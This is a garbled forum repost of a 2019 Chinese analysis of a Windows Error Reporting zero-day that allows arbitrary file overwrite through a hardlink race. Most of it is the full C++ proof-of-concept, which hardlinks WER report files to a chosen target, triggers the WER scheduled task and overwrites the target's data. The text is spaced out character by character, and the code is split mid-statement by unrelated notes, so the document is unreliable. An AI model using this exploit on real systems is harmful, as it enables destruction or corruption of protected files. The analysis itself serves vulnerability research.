[13643] 2019-01-12_Windows0day任意文件覆盖漏洞分析与验证

文档创建者:s7ckTeam
浏览次数:17
最后更新:2025-01-18
2019-01-12_Windows0day任意文件覆盖漏洞分析与验证 W i n d o w s   0 d a y m a r k y u   F r e e B u f   2 0 1 9 - 0 1 - 1 2 * m a r k y u F r e e B u f w i n d o w s S a n d b o x E s c a p e r W i n d o w s 0 - d a y W i n d o w s 1 0 访 S a n d b o x E s c a p e r P O C p c i . s y s W E R ( W i n d o w s   e r r o r   r e p o r t ) , W E R M i c r o s o f t 使 , W E R 便 W E R W E R W E R W E R W E R T i m e   o f   C h e c k   V e r s u s   T i m e   o f   U s e T O C T O U h t t p s : / / w w w . f r e e b u f . c o m / v u l s / 1 9 2 8 7 6 . h t m l 1 . w i n d o w s 1 0 w i n 7 w i n 2 0 0 8 w i n 2 0 1 2 2 . C P U C P U w i n 1 0 C : P r o g r a m D a t a M i c r o s o f t W i n d o w s W E R R e p o r t Q u e u e 1 _ 1 _ 1 _ 1 _ 1 R e p o r t . w e r w e r P O C 1 . h t t p s : / / g i t h u b . c o m / S a n d b o x E s c a p e r / r a n d o m r e p o / b l o b / m a s t e r / a n g r y p o l a r b e a r b u g . r a r P O C 2 . t e s t . t x t 3 . R e p o r t . w e r A n g r y P o l a r B e a r B u g . e x e P O C
4 . t e s t . t x t P O C r u n m e 线 线 使 s y s t e m 使 w e r 线 # i n c l u d e   < i o s t r e a m > # i n c l u d e   " s t d a f x . h " # i n c l u d e   < s t d i o . h > # i n c l u d e   < t c h a r . h > # i n c l u d e   < W i n d o w s . h > # i n c l u d e   < s t r s a f e . h > c o n s t   c h a r *   t a r g e t f i l e ; / / b o o l   C r e a t e N a t i v e H a r d l i n k ( L P C W S T R   l i n k n a m e ,   L P C W S T R   t a r g e t n a m e ) ; / / C r e a t e N a t i v e H a r d l i n k s t d : : w s t r i n g   s 2 w s ( c o n s t   s t d : : s t r i n g &   s t r ) / / {         i n t   s i z e _ n e e d e d   =   M u l t i B y t e T o W i d e C h a r ( C P _ U T F 8 ,   0 ,   & s t r [ 0 ] ,   ( i n t ) s t r . s i z e ( ) ,   N U L L ,   0 ) ; / / i n t         s t d : : w s t r i n g   w s t r T o ( s i z e _ n e e d e d ,   0 ) ; / /         M u l t i B y t e T o W i d e C h a r ( C P _ U T F 8 ,   0 ,   & s t r [ 0 ] ,   ( i n t ) s t r . s i z e ( ) ,   & w s t r T o [ 0 ] ,   s i z e _ n e e d e d ) ;         r e t u r n   w s t r T o ; } D W O R D   W I N A P I   M y T h r e a d F u n c t i o n ( L P V O I D   l p P a r a m ) / / 线 {         L P C W S T R   f i l e n a m e 1 ; / / L P C W S T R u n i c o d e 3 2         L P C W S T R   r o o t   =   L " C : P r o g r a m D a t a M i c r o s o f t W i n d o w s W E R T e m p " ;         H A N D L E   h D i r   =   C r e a t e F i l e ( L " C : P r o g r a m D a t a M i c r o s o f t W i n d o w s W E R T e m p " , F I L E _ L I S T _ D I R E C T O R Y , F I L E _ S H A R E _ W R I T E   |   F I L E _ S H A R E _ R E A D   |   F I L E _ S H A R E _ D E L E T E , N U L L , O P E N _ E X I S T I N G , F I L E _ F L A G _ B A C K U P _ S E M A N T I C S , N U L L ) ;         F I L E _ N O T I F Y _ I N F O R M A T I O N   s t r F i l e N o t i f y I n f o [ 1 0 2 4 ] ; / / F I L E _ N O T I F Y _ I N F O R M A T I O N         D W O R D   d w B y t e s R e t u r n e d   =   0 ;         s t d : : w s t r i n g   e x t e n s i o n   =   L " . x m l " ;         s t d : : s t r i n g   t a r g e t f ( t a r g e t f i l e ) ;         s t d : : w s t r i n g   t a r g e t f w   =   s 2 w s ( t a r g e t f ) ;         b o o l   b l a h   =   f a l s e ;         c o n s t   w c h a r _ t *   t a r g e t f w w   =   t a r g e t f w . c _ s t r ( ) ; / / t a r g e t f w w         w h i l e   ( T R U E )         {                 R e a d D i r e c t o r y C h a n g e s W ( h D i r ,   ( L P V O I D ) & s t r F i l e N o t i f y I n f o ,   s i z e o f ( s t r F i l e N o t i f y I n f o ) ,   T R U E ,   F I L E _ N O T I F Y _ C H A N G E _ F I L E _ N A M E ,   & d w B y t e s R e t u r n e d ,   N U L L ,   N U L L ) ; / / h D i r                 f i l e n a m e 1   =   s t r F i l e N o t i f y I n f o [ 0 ] . F i l e N a m e ; / /                 s t d : : w s t r i n g   d f   =   s t d : : w s t r i n g ( r o o t )   +   f i l e n a m e 1 ; / /                 s t d : : w s t r i n g : : s i z e _ t y p e   f o u n d   =   d f . f i n d ( e x t e n s i o n ) ; / / x m l                 i f   ( f o u n d   ! =   s t d : : w s t r i n g : : n p o s ) / / x m l                 {                         L P C W S T R   d f c   =   d f . c _ s t r ( ) ; / /                         d o                                 {                                 b l a h   =   C r e a t e N a t i v e H a r d l i n k ( d f c , t a r g e t f w w ) ; / / d f c t a r g e t f w w                                 }   w h i l e   ( b l a h   = =   f a l s e ) ; / / 1 , 线                                 r e t u r n   0 ;                 }         }         r e t u r n   0 ; } / / C : P r o g r a m D a t a M i c r o s o f t W i n d o w s W E R T e m p 便 v o i d   r u n m e ( )   {     / / 线         H A N D L E   m T h r e a d   =   C r e a t e T h r e a d ( N U L L ,   0 ,   M y T h r e a d F u n c t i o n ,   N U L L ,   0 ,   N U L L ) ; / / 线 线 线 线 线 I D } i n t   m a i n ( i n t   a r g c ,   c o n s t   c h a r   *   a r g v [ ] ) {         i f   ( a r g c   <   2 )   {     / /                 s t d : : c o u t   < <   s t d : : e n d l   < <   " P l e a s e   i n c l u d e   a   f i l e p a t h   a s   f i r s t   p a r a m e t e r " ;                 r e t u r n   0 ;         }         D W O R D   d w F i l e S i z e   =   0 ;         D W O R D   d w F i l e S i z e 2   =   0 ;         t a r g e t f i l e   =   a r g v [ 1 ] ; / /         H A N D L E   h F i l e   =   C r e a t e F i l e A ( a r g v [ 1 ] ,   G E N E R I C _ R E A D ,   0 ,   N U L L ,   O P E N _ E X I S T I N G ,   F I L E _ A T T R I B U T E _ N O R M A L ,   N U L L ) ; / /         i f   ( h F i l e   = =   I N V A L I D _ H A N D L E _ V A L U E ) / /         {                 s t d : : c o u t   < <   s t d : : e n d l   < <   " I   d o   n o t   h a v e   r e a d   p e r m i s s i o n s   f o r   t h i s   f i l e   o r   f i l e   d o e s   n o t   e x i s t " ;                 r e t u r n   0 ;         }         d w F i l e S i z e   =   G e t F i l e S i z e ( h F i l e ,   N U L L ) ; / /         d w F i l e S i z e 2   =   d w F i l e S i z e ;         C l o s e H a n d l e ( h F i l e ) ; / /         s t d : : c o u t   < <   s t d : : e n d l                 < <   " / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / "   < <   s t d : : e n d l                 < <   " / / ? / "   < <   s t d : : e n d l
Q Q P C M g r   R T P   S e r v i c e   , s e r v i c e s . m s c C : P r o g r a m   F i l e s   ( x 8 6 ) T e n c e n t Q Q P C M g r 1 3 . 0 . 1 9 8 3 8 . 2 3 6 Q Q P C R T P . e x e   Q Q P C R T P . e x e I   d o   n o t   h a v e   r e a d   p e r m i s s i o n s   f o r   t h i s   f i l e   o r   f i l e   d o e s   n o t   e x i s t P O C C r e a t e F i l e 1 . w i n 1 0 2 . s e r v i c e s . m s c W i n d o w s   E r r o r   R e p o r t i n g   S e r v i c e h t t p s : / / g i t h u b . c o m / S a n d b o x E s c a p e r / r a n d o m r e p o / b l o b / m a s t e r / a n g r y p o l a r b e a r b u g . r a r h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / w i n d o w s / d e s k t o p / w e r / a b o u t - w e r h t t p s : / / d o c s . m i c r o s o f t . c o m / z h - c n / w i n d o w s / d e s k t o p / F i l e I O / h a r d - l i n k s - a n d - j u n c t i o n s * m a r k y u F r e e B u f                 < <   " / / ? / "   < <   s t d : : e n d l                 < <   " / / Ё Ё Ё Ё ? / "   < <   s t d : : e n d l                 < <   " / / ? ` ` ` ` ` ` ` ` ` ` ` ` ` ` 1 1 Ё ? / "   < <   s t d : : e n d l                 < <   " / / 1 ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` 1 Ё ? / "   < <   s t d : : e n d l                 < <   " / / ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` Ё ? / "   < <   s t d : : e n d l                 < <   " / / ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` 1 Ф ? / "   < <   s t d : : e n d l                 < <   " / / ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` 1 Ф / / "   < <   s t d : : e n d l                 < <   " / / ` ` ` ` ` ` ` ` ` ` B I P O L A R   B E A R ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` 1 Ф ? / "   < <   s t d : : e n d l                 < <   " / / ? ` 1 ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` 1 ` 1 ? / "   < <   s t d : : e n d l                 < <   " / / ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` 1 Ф ? / "   < <   s t d : : e n d l                 < <   " / / Ё ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` Ф / / "   < <   s t d : : e n d l                 < <   " / / 1 ` ` 1 ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` 1 1 1 Ё Ё Ф ? / "   < <   s t d : : e n d l                 < <   " / / ` ` ` ` 1 ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` 1 Ё ? / "   < <   s t d : : e n d l                 < <   " / / ` ` ` ` ` ` ` ` ` ` ` ` ` 1 1 ` ` ` ` ` ` ` ` ` Ё ` ` 1 / / "   < <   s t d : : e n d l                 < <   " / / ` ` ` ` ` 1 ` ` ` ` ` ` ` 1 ` ` ` ` ` ? ` ` ` ` / / "   < <   s t d : : e n d l                 < <   " / / ` ` ` ` Ф ? ` ` ` ` ` ` ` ` 1 ` ` ` ` 1 ? / "   < <   s t d : : e n d l                 < <   " / / ` ` ` Ф ` ` ` 1 ` ` ` ` ` ` ` ? / "   < <   s t d : : e n d l                 < <   " / / ` ` ` Ф ` ` ` 1 ` ` ` ` ` ` ` 1 / / "   < <   s t d : : e n d l                 < <   " / / 1 1 1 ` 1 1 1 ` ` ` ` ` ` 1 ` ` ` 1 Ф ? ` ` ` ` 1 1 ? / "   < <   s t d : : e n d l                 < <   " / / ? / "   < <   s t d : : e n d l                 < <   " / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / "   < <   s t d : : e n d l ;         s t d : : c o u t   < <   s t d : : e n d l   < <   " - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - B I P O L A R   B E A R   S A L U T E S   Y O U - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - "   < <   s t d : : e n d l ;         S l e e p ( 2 0 0 0 ) ;         d o   {                 C r e a t e D i r e c t o r y W ( L " c : p r o g r a m d a t a m i c r o s o f t w i n d o w s w e r r e p o r t q u e u e 1 _ 1 _ 1 _ 1 _ 1 " ,   N U L L ) ; / / c : p r o g r a m d a t a m i c r o s o f t w i n d o w s w e r r e p o r t q u e u e 1 _ 1 _ 1 _ 1 _ 1                 C o p y F i l e W ( L " R e p o r t . w e r " ,   L " c : p r o g r a m d a t a m i c r o s o f t w i n d o w s w e r r e p o r t q u e u e 1 _ 1 _ 1 _ 1 _ 1 R e p o r t . w e r " ,   t r u e ) ; / / R e p o r t . w e r R e p o r t . w e r                 r u n m e ( ) ; / / C : P r o g r a m D a t a M i c r o s o f t W i n d o w s W E R T e m p R e p o r t . w e r 便 线 线                 s y s t e m ( " S C H T A S K S   / R u n   / T n   " M i c r o s o f t W i n d o w s W i n d o w s   E r r o r   R e p o r t i n g Q u e u e R e p o r t i n g " " ) ; / / s y s t e m W E R w e r                 H A N D L E   h F i l e 2   =   C r e a t e F i l e A ( a r g v [ 1 ] ,   G E N E R I C _ R E A D ,   0 ,   N U L L ,   O P E N _ E X I S T I N G ,   F I L E _ A T T R I B U T E _ N O R M A L ,   N U L L ) ; / /                 i f   ( h F i l e 2   ! =   I N V A L I D _ H A N D L E _ V A L U E ) / / 便                 {                         d w F i l e S i z e 2   =   G e t F i l e S i z e ( h F i l e 2 ,   N U L L ) ;                 }                 C l o s e H a n d l e ( h F i l e 2 ) ;         }   w h i l e   ( d w F i l e S i z e   = =   d w F i l e S i z e 2 ) ;         s t d : : c o u t   < <   s t d : : e n d l   < <   " - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - D A T A   I N   F I L E   S U C C E S S F U L L Y   D E S T R O Y E D   -   P r e s s   k e y   t o   e x i t - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - " ;         g e t c h a r ( ) ; / / 退 }

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则